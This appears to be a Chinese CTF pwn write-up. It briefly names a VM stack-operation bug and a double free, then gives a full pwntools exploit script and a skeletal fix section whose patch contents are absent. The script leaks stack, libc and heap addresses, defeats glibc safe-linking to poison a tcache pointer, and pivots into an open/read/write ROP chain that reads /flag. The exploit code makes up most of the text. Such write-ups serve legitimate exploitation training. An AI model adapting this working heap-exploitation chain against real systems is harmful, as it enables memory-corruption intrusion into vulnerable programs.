0x01 漏洞介绍
漏洞点1(Double Free,可以不使用)
漏洞点2(VM里的栈操作,主要漏洞点)
首先是pop,可以用来泄露地址
然后是push操作(这个可以不用,改用edit操作)
edit操作,只能调用一次(也可以不使用,改用push操作任意次写)
0x02 Exp
程序运行之初直接给了栈地址,直接泄露地址做栈劫持ROP即可
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
itb = lambda d:u32(int(d).to_bytes(4, 'little', signed=True))
plo = lambda o:p64(libc_base+o)
def new(s,c):
sla(' :','1')
sla(' >',str(s))
sda(' >',c)
def free(i):
sla(' :','3')
sla('x>',str(i))
def edit(i,o,c):
sla(' :','2')
sla('x>',str(i))
sla('t>',str(o))
sda(' >',c)
def run(i):
sla(' :','4')
sla('x>',str(i))
sda('e:','a'*8)
p = process('./pwn',aslr=False)
#p = remote('172.1.39.7',9999)
ru(': ')
stack_addr = int(ru('\n')[:-1],16)-0x20
success('stack_addr --> %s',hex(stack_addr))
new(0xa0,'\2\0\0\0'*10) # 0-libc
new(0xa0,'\2\0\0\0'*40) # 1-key
for _ in range(7): # 2-8
new(0xa0,'a')
for _ in range(7): # 9-15
new(0x90,'a')
new(0xa0,'1-libc') # 16
new(0x90,'1') # 17
new(0x20,'2-heap') # 18
new(0x20,'2-key') # 19
new(0x90,'2') # 20
for i in range(7):
free(i+2)
for i in range(7):
free(i+9)
free(16) # stack
free(17) # fastbin
new(0x28,'leak') # 21
#dbg('boff 0x19f8\nc')
run(0)
for _ in range(8):
ru('\n')
libc_base = (itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])-0x219e20
success('libc_base --> %s',hex(libc_base))
free_hook = libc_base+0x2204a8
new(0x80,'unsorted') # 22
free(19)
free(18)
free(20)
#dbg('boff 0x19f8\nc')
run(1)
for _ in range(10):
ru('\n')
key = (itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])
for _ in range(10):
ru('\n')
heap_base = ((itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])^key)-0x2f20
log.warn('key --> %s',hex(key))
success('heap --> %s',hex(heap_base))
pop_rsp_ret = 0x0000000000035732
pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396
edit(18,0,p64(key^stack_addr))
new(0x20,'a')
#dbg('boff 0x1F6E\nc')
new(0xa0,b'/flag\0\0\0' \
+ plo(pop_rdi_ret) + p64(heap_base+0x2890) \
+ plo(pop_rsi_ret) + p64(0) \
+ plo(pop_rdx_r12_ret) + p64(0)*2 \
+ plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
+ plo(pop_rsp_ret) + p64(heap_base+0x27e0))
new(0xa0,plo(pop_rdi_ret) + p64(3) \
+ plo(pop_rsi_ret) + p64(heap_base) \
+ plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
+ plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
+ plo(pop_rdi_ret) + p64(1) \
+ plo(pop_rax_ret) + p64(1) + plo(syscall_ret))
new(0x20,p64(0) + plo(pop_rsp_ret) + p64(heap_base+0x2890+8))
irt()
0x03 Fix
patch点1
patch点2
修改为
这里实际上不用512那么多,40应该就够了